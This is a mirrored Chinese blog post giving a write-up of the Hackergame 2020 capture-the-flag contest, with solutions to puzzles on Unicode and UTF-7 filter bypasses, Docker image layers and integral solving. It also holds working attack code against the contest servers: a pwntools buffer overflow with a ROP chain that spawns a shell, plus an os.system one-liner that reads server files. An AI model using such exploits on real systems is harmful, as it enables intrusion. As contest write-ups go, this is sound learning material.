21

Hackergame 2020 Writeup

 3 years ago
source link: https://blog.kaaass.net/archives/1483
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

最近一周咱参加了USTC的 Hackergame 2020 。由于正好之前的Deadline清完了,而且听说这个比赛新人友好+时间长,于是咱就来了。整体比赛感觉题目出的难度梯度确实很合理,从简单到难都有,而且很多难题也是偏脑洞的,可以通过一段时间的学习解出。最终排名虽然一度进入前10,但是最后一小时还是掉出了前10(屯Flag的dalao们太强了,垂直上分 老拜登了 ),终榜Rank11,算是一点遗憾吧哈哈。

5

话说回来,既然参加了比赛,就不能放过这个水blog的机会。且容我用Writeup水一篇blog~

签到题就是一个前端验证的题目,简单修改前端页面元素就可以。

5

当然也可以修改url中的 number 参数,而且多填几个确实会给好多个flag(

5虽然多个flag都是同一个

猫咪问答++

这题目有两个难点,一个就是第一问的哺乳动物数量(搜索真的太麻烦了!):

1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?
Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.

另一个就是 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位? 了,也不知道是什么人才出的题目。而且有一个坑点,就是百度地图俯视角标出的车位数量是错的

5你们这个是什么地图啊,害人不浅呐

必须在街景才能看到正确的数量。全部题目的答案如下,基本都可以通过搜索引擎搜索得到:

5“建议身临其境”

全部的答案如下:

  1. 12(大概是Docker、Golang、Plan 9、GNU、Perl、FireFox、MySQL、PostgreSQL、MariaDB、Apache Tomcat、Xfce、FreeDOS)
  2. 256(参阅: https://tools.ietf.org/html/rfc1149
  3. 9(TEEWORLDS)
  4. 9(见上图)
  5. 17098

由于第一个很容易数错,所以其他几个空可以使用jQuery快速填写

$("[name=q2]").val("256");
$("[name=q3]").val("9");
$("[name=q4]").val("9");
$("[name=q5]").val("17098");

同样也是一道前端题,嘛,当然最简单的解法 也许是最难 就是手工玩了(逃。打开Chrome调试工具,在Source选项卡可以看到页面的源码,基本没有经过混淆。阅读后,可以在 html_actuator.js 发现请求Flag的逻辑,直接按着请求就行。

5

一闪而过的 Flag

题目是一个Windows控制台程序,由于打开立刻会关闭窗口因此难以阅读Flag。在Windows Terminal或其他终端打开程序即可。

从零开始的记账工具人

题目是一个含大写数字和物品数量的Excel,要求计算购买总金额。由于总量较大,没有办法简单通过人工转换,所以需要写脚本解析。我这里采用的方式是将题目转换为csv格式的文件(不转换也行,可以用pandas读),然后写Python脚本解析。说实话,这题目的格式挺复杂,搜到的转换函数都不太管用,最后还是自己写了。另外还有一点就是,由于浮点数精度有限,这题还需要×100转化为整数计算。

with open('./hg/bills.csv', 'r') as f:
    data = f.readlines()

total = 0
m = "零壹贰叁肆伍陆柒捌玖"
m_map = {k:m.index(k) for k in m}
b_map = {"佰":10000,"拾":1000,"元":100,"角":10,"分":1}

def trans(s):
    curm = None
    curb = None
    cur = 0
    for ch in s:
        if ch == '整':
            continue
        if ch in m:
            curm = m_map[ch]
        elif ch in b_map.keys():
            curb = b_map[ch]
        if curb is not None:
            if curm is None:
                if ch == '元':
                    curm = 0
                else:
                    curm = 1
            cur += curm * curb
            curm = curb = None
    return cur

data = data[1:]
for line in data:
    s, cnt = line.split(",")
    cur = trans(s)
    total += int(cur) * int(cnt)

print(total / 100)

超简单的世界模拟器

这题是模拟康威生命游戏(Conway’s Game of Life),需要摧毁游戏中两个特定的方块,并且只可以在左上角15*15的游戏区域内绘制。第一次见到Conway’s Game of Life还是网鼎杯的诡异二维码,当时没能看出题目的提示。事实上这一题在康威生命游戏中有个特定的门类GUN,是专门设计能摧毁一块区域的结构的。第一题可以用Wikipedia的Glider解,至于第二题……我一开始在现有结构中试了半天,甚至尝试过通过反弹产生Glider,但是最后还是通过随机输入解的(囧)。

从零开始的火星文生活

这题和我之前校赛出的题目撞了hhhh(我出的可以参见: SpiritCTF 2020 – Misc Official Writeup 锟斤拷 )。同样也是先按照题目使用GBK编码。之后考虑熵可大致判断是文本,因此直接暴力尝试不同编码解码即可。解码所用的编码为GB18030。

5

自复读的复读机

反向复读

题目要求输入一串自复读的Python代码,如果想不出来……那当然是Google一个了(逃。搜索“Python print itself”,在 第一条搜索结果 中可以找到这段代码

s = r"print 's = r\"' + s + '\"' + '\nexec(s)'"
exec(s)

不过很显然,它不仅有换行,而且语法也是Python 2的,所以稍加调整就可以得到Python 3的版本

s = r"print('s = r\"' + s + '\"; exec(s)')"; exec(s)

由于题目要求反向输出,因此在 print 时还需要反向。此外,还有一个坑就是 print 默认会在行末加换行符,需要通过 end 参数绕开。最终Payload为

s = r"print(('s = r\"' + s + '\"; exec(s)')[::-1],end='')"; exec(s)

哈希复读

哈希复读和逆序同理,但是有一个问题,就是计算sha256需要导入 hashlib 库。这里就用到了Python的 BUG 特性 __import__ 进行行内导入。因此最后的Payload为

s = r"print(__import__('hashlib').sha256(('s = r\"' + s + '\"; exec(s)').encode()).hexdigest(), end='')"; exec(s)

#多说一句

虽然本身不是沙箱逃逸题,但是你其实可以读取一些题目文件 好家伙,直接偷题

__import__("os").system('cat checker.py')

不过由于用户是 nobody ,所以不能直接读取flag文件 也不能搅屎

233 同学的字符串工具

字符串大写工具

题目首先正则过滤掉了大小写的 FLAG ,然后又希望 str.upper 的输出是 FLAG

r = re.compile('[fF][lL][aA][gG]')
if r.match(s):
    print('how dare you')
elif s.upper() == 'FLAG':
    print('yes, I will give you the flag')
    print(open('/flag1').read())

在正则表达式正确的情况下,我们只能合理怀疑是 upper 出了问题。但是实际上相关资料少得可怜,源码也看不出什么端倪,所以想到直接爆破

for i in range(1 + 0x110000): # chr 最大值
    s = chr(i)
    if s.upper() != s.title():
        print(s)

然后结果中可以找到一个诡异的输出 ,于是拼起来就得到了payload: flag 。而且 StackOverflow 确实能查到相关的提问。实际上,这个字符是拉丁文小型连字( U+FB02 ),其标准的Case Folding就是 0066 006C (对应ASCII的 fl ),所以Python的处理实际上没什么问题。

编码转换工具

第二题类似第一题,就是第二个条件变更为以UTF-7解码。这里的考察点是UTF-7编码,UTF-7编码本质上就是用Base64编码非ASCII(其实是ASCII的子集)字符。因此大部分的实现在解码过程中基本都是直接解码Base64,而这就会导致原本ASCII的字符有了两种表示,由此可以完成绕过。

对于字符 f ,其ASCII码为 0b0000000001100110 ,六个一组可以分为 [0b000000, 0b000110, 0b011000] ,查表得到 'A', 'G', 'Y' 。因此最终的Payload为: +AGY-lag

233 同学的 Docker

这题考察的是Docker的镜像(IMAGE)。这里需要一个前置知识,为了节省空间,Docker镜像实际是分层存储的,每层仅仅存放了有差异的文件。

5Docker容器的文件结构

而Dockerfile中的每一行都会创建一个容器层,因此只需要找到容器在flag删除之前的那一层的文件就可以找到flag的内容。

# 拖拽镜像
docker pull 8b8d3c8324c7/stringtool
# 查看Overlay位置
docker info
# 进入对应文件夹(需要Root)
cd /var/lib/docker/overlay2
# 查找flag文件
find . -iname flag.txt
# 输出内容,注意其中一个是无法输出的
cat ./450dde13d1324a35c16113e8ebec6e554f219b71f4f473cbb5612f23ab12c3be/diff/code/flag.txt

从零开始的 HTTP 链接

这题是字面意思,就是使用HTTP连接题目服务器的0号端口。所以手动操作Socket

from socket import *

sock = socket()
sock.connect(("202.38.93.111", 0))
sock.send("GET / HTTP/1.1\r\nHost: 202.38.93.111:0\r\n\r\n".encode())
bin = sock.recv(4096)
while bin:
    print(bin.decode())
    bin = sock.recv(4096)

注意,似乎macOS底层限制没法连接0号端口。此外,由于我本地开启了透明代理,而相关工具不支持0号端口,搞得我一直以为哪里写错了……

连接上之后发现坑爹事儿:页面是WebSocket通信的。摆明就是不建议手写嘛!所以就Google了一个端口转发的 Python脚本 ,改改地址(我还加了一大堆 try/except 鲁棒!妥妥的鲁棒 )然后用浏览器打开就行了。

来自一教的图片

题目提到了 傅里叶光学 实验,而且文件名是 4f_system_middle ,所以我真的去找了一个 4f光学系统的模拟 ……然后粗暴替换每一步的输入为图片,结果真被我做出来了(逃。最后的代码简化如下

img = double(imread('4f_system_middle.bmp'));
img_fft = fftshift(fft2(fftshift(img)));
colormap(gray(256))
imagesc(log(abs(img_fft))), axis image

结果就是一个fft啦!而且结果还挺难认的,有些字符直接跑到左边去了。

5

超简陋的 OpenGL 小程序

打开程序发现Flag的模型前面有一堵墙,程序Shader就是简单实现了Phong光照(其实缺了高光分量)( 不懂Phong光照的可以看我OpenGL笔记的光照篇,哦我还没写出来,那没事了 )。由于懒得逆向,而且Shader程序是文本形式的GLSL,所以不妨直接改一改Shader。由于墙本质是一系列顶点,所以我们只需要判断墙的顶点,然后把它移开就行。

#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 1) in vec3 aNormal;

out vec3 FragPos;
out vec3 Normal;

uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;

void main()
{
    vec3 pos = aPos;
    if (pos[2] > 0.1) {
        pos[0] += 1;
        pos[1] += 1;
        pos[2] += 2;
    }
    FragPos = vec3(model * vec4(pos, 1.0));
    Normal = aNormal;
    
    gl_Position = projection * view * vec4(FragPos, 1.0);
}

pos[2] 对应的就是z轴坐标,具体的值需要多试几次,不然效果会很古怪。

5大概有那么怪

生活在博弈树上

题目内容NETA自2020浙江高考满分作文《生活在树上》,老八股了。

始终热爱大地

题目程序实现了一个井字棋的博弈树。而由于服务器是先手,因此正常情况下本题是没有办法下赢电脑的。考虑到题目给了binary,所以这题本质还是pwn。第一次在正赛打pwn,有点小激动。观察源码,可以找到危险函数 gets ,可以确定是一个ROP。

5

所以目标是覆盖到 success ,使程序成功退出。把binary丢进cutter,与源码对应就可以找到 success 在栈上的位置。

5

可以看到 successbuffer 的偏移是 0x90 - 0x1 ,因此直接覆盖过去。此外还要注意一点就是,因为覆盖成功后需要进入判断,所以覆盖的时候要使用数字并且该格子需要没被占领,因此直接盖 '1' 即可。Exp如下

from pwn import *

token = "Your token"
real = True

if real:
    sh = remote("202.38.93.111", 10141)
    sh.sendline(token.encode())
else:
    sh = process("./hg/tictactoe/tictactoe")

sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01'
sh.sendline(payload)
sh.interactive()

升上天空

既然是ROP,不难想到第二题就是Get Shell了。Get Shell的目标很明确,就是调用系统调用。这里就是 59 号系统调用 execve 。因此需要填写这几个寄存器

NR syscall name references %rax arg0 (%rdi) arg1 (%rsi) arg2 (%rdx) 59 execve man/ cs/ 0x3b const char *filename const char *const *argv const char *const *envp

填写寄存器的通常方法是找一些可以利用的代码段(叫做Gadget),这些Gadget一般包括寄存器修改,最后以 ret 结尾(用来返回栈,继续执行下一个Gadget)。比如 add rax, 1 ; ret 就是给 rax 寄存器+1的Gadget。这里可以使用工具 ROPgadget 来查找可用的Gadget,由于输出较多,因此需要手动 grep 一下结果。比如对于填写调用号寄存器 rax ,我们可以查找如下Gadget

$ ROPgadget --binary ./tictactoe | grep 'add rax'
0x0000000000463af0 : add rax, 1 ; ret
$ ROPgadget --binary ./tictactoe | grep 'xor rax'
0x0000000000439070 : xor rax, rax ; ret

xor rax, rax ; ret 可以用来清空 rax 寄存器的内容,之后重复59次 add rax, 1 ; ret 就可以使 rax 寄存器的内容变为59。而对于 rdi 这种指针类型的参数,我们可以直接在栈上布置内容,然后使用 rsp 寄存器的值作为指针位置(比如 push rsp; ret 加上 pop rdi; ret )。当然也可以寻找一个有读写权限的段(比如 .data ),然后将值写入,比如栈上布置

0x0000000000407228 -> pop rsi ; ret,相当于 rsi = .data段地址
0x00000000004a60e0 -> .data段地址
0x000000000043e52c -> pop rax ; ret,相当于 rax = '/bin//sh'
hex('/bin//sh')
0x000000000046d7b1 -> mov qword ptr [rsi], rax ; ret,相当于 *rsi = rax

由于这种布置比较简单,题目也没加设限制,所以可以直接使用ROPgadget的ropchain选项自动生成ROP链。最终Exp如下

from pwn import *

token = "Your token"
real = True

if real:
    sh = remote("202.38.93.111", 10141)
    sh.sendline(token.encode())
else:
    sh = process("./hg/tictactoe/tictactoe")

# ROPgadget --binary ./tictactoe --ropchain
from struct import pack

# Padding goes here
p = b''
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000463af0) * 59 # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402bf4) # syscall

sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01' + b"1" * 8 + p
sh.sendline(payload)
sh.interactive()

来自未来的信笺

本题题目为一系列二维码,构造方式类似于Github北极存档计划。所以逐一扫码后拼接解压即可得到Flag。吐槽下Python的二维码库,基本都没法用(比如zxing的Python bind)。

#!/bin/sh
for i in *.png; do
    zbarimg --raw --oneshot -Sbinary "$i" > "${i%.png}.bin"
done
cat *.bin >> merged.bin

狗狗银行

题目允许开储蓄卡、信用卡,并且信用卡可以给储蓄卡转账,每日产生消费和利息。简单实验发现题目存在浮点数四舍五入,所以可以利用这一点,给储蓄卡转账167元(因为 167 * 0.003 = 0.501 会被四舍五入为1)以利用。假如开100张,每日能赚100,同时需要还83( 167 * 100 * 0.005 = -83.5 ),每日还有额外开销10。可以看到最终还是会多的,但是由于欠款越来越多,所以100张还是无法赚取1000,最后解题使用了500张卡。可以在控制台用Fetch API简化开卡流程。

// 开500张,注意先手动开一张信用卡
for (i = 0; i < 500; i++) {
    fetch("http://202.38.93.111:10100/api/create", {
        method: 'POST',
        body: JSON.stringify({type: "debit"}),
        headers: new Headers({
            "Content-Type": "application/json;charset=UTF-8",
            "Authorization": "Bearer Your token"
        })
    })
}
// 转账
for (i = 3; i <= 502; i++) {
    fetch("http://202.38.93.111:10100/api/transfer", {
        method: 'POST',
        body: JSON.stringify({
            amount: 167,
            dst: i,
            src: 2
        }),
        headers: new Headers({
            "Content-Type": "application/json;charset=UTF-8",
            "Authorization": "Bearer Your token"
        })
    })
}
// 然后就嗯点就行了

超基础的数理模拟器

题目是真的朴实无华且枯燥,就是嗯解400道定积分。听说还有直播手算的dalao,几小时就做完了。然而咱数理基础并不是很扎实,所以只得偷鸡用脚本跑。一开始我用了 Sympy 尝试求解,发现大量失败,所以我就放弃自己解了。结果后来听说用 numpy 就能出数值解,囧。

我最终是使用了 微软计算器 的API,直接读取Latex格式公式计算。虽然十几次才能算一个,但是挂一晚上也够了(逃。此外就是还需要注意Session的问题,所以需要维护一个Cookie Jar。最后Exp脚本如下,感谢M$爸爸没Ban我IP

import requests
import re
from bs4 import BeautifulSoup
import pickle
import os

ret_re = re.compile("approx\\s([0-9\\.]+)")
session = requests.session()
ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36'

def load_base_cookie():
    url = "http://202.38.93.111:10190/login?token=Your%20token"
    headers = {
        'User-Agent': ua
    }
    session.request("GET", url, headers=headers)
    assert len(session.cookies) > 0

def load_cookie_from_file():
    if os.path.exists("./cookies"):
        print("从文件恢复Cookie")
        with open('./cookies', 'rb') as f:
            session.cookies = pickle.load(f)
    else:
        print("载入新Cookie")
        load_base_cookie()

def save_cookie():
    with open('./cookies', 'wb') as f:
        pickle.dump(session.cookies, f, 0)

def solve(latex : str):
    url = "https://www.bing.com/cameraexp/api/v1/solvelatex"
    latex = latex.replace("\\", "\\\\")
    payload = "{\n    \"latexExpression\": \"" + latex \
        + "\",\n    \"clientInfo\": {\n        \"platform\": \"web\",\n        \"mkt\": \"zh\",\n        \"skipGraphOutput\": true,\n        \"skipBingVideoEntity\": true\n    },\n    \"customLatex\": \"" + \
            latex + "\",\n    \"showCustomResult\": false\n}"
    headers = {
    'Content-Type': 'application/json',
    'Cookie': 'Your cookie',
    'User-Agent': ua
    }
    response = requests.request("POST", url, headers=headers, data = payload)
    data = response.json()
    data = data['results'][0]['tags'][0]['actions'][0]
    print("取得返回结果:", repr(data)[:70])
    groups = ret_re.findall(data['customData'])
    ret : str = groups[0]
    point_at = ret.index(".")
    decimals = len(ret) - point_at - 1
    if decimals > 6:
        ret = ret[0:point_at + 6 + 1]
    else:
        ret += '0' * (6 - decimals) # 是不是要补0?
    return ret

def get_quest():
    try:
        url = "http://202.38.93.111:10190"

        payload = {}
        headers = {
            'User-Agent': ua
        }

        response = session.request("GET", url, headers=headers, data = payload)

        html = response.text
        soup = BeautifulSoup(html, 'html.parser')
        num = soup.find(class_='cover-heading')
        formula = soup.find("center")
        save_cookie()
        return num.get_text(), formula.get_text().replace("$", "").replace("\n", "")
    except Exception as e:
        print("获得题目错误:", e)
        return None, None

def submit_ans(ans, finish):
    url = "http://202.38.93.111:10190/submit"

    payload = "ans=" + ans
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': ua
    }

    response = session.request("POST", url, headers=headers, data = payload)
    html = response.text
    save_cookie()
    if finish:
        with open('./result_page', 'w') as f:
            f.write(html)
        print("保存结果成功")
    check = '答案正确' in html
    return check

def auto_solve():
    finish = False
    while True:
        try:
            num, latex = get_quest()
            if int(num.replace("题", "")) <= 1:
                finish = True
            print("得到题目:", num, ";内容:", latex)
            ans = solve(latex)
            print("解出答案", num, ":", ans)
            ret = submit_ans(ans, finish=True)
            print("回答情况:", ret)
            if finish:
                print("整完噜~")
                break
        except Exception as e:
            print("解题失败", num)
            continue

def solve_prompt():
    while True:
        latex = input("输入题目:")
        try:
            ans = solve(latex)
            print("解出答案:", ans)
        except Exception as e:
            print("解题失败")


load_cookie_from_file()
auto_solve()
#solve_prompt()

永不溢出的计算器

WIP

普通的身份认证器

WIP

×超精巧的数字论证器

写了个脚本,但是要跑一天……懒得再写并行跑的脚本了,遂放弃。

×超自动的开箱模拟器

数学太难了,咱只会BF,那算法去哪儿领(

室友的加密硬盘

WIP

超简易的网盘服务器

WIP

超安全的代理服务器

找到 Secret

WIP

入侵管理中心

WIP

×证验码

我的思路是按照字体计算黑色像素,之后根据图片的黑色像素数量还原。但是干扰线实在太烦人了,在没有干扰线的情况下勉强能做,加了干扰线结果就偏好远。干扰线平均会去掉200左右个像素点,尝试了整数线性规划但是以失败告终。

×动态链接库检查器

大概是 CVE-2019-1010023 复现吧,但是CVE好长,不想看……

超精准的宇宙射线模拟器

WIP

×超迷你的挖矿模拟器

WIP

×Flag 计算机

DOS逆向,但是咱没有调试环境啊(泪目)。似乎是一个PRNG,cutter给了F5,但是结果不太能看,16位程序咱也不熟悉。

×中间人

完全不会。

不经意传输

解密消息

WIP

×攻破算法

盲猜论文复现,但是论文比CVE还长,不想看……

感谢JLU@NSA的各位dalao们对撰写这篇Blog的帮助。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK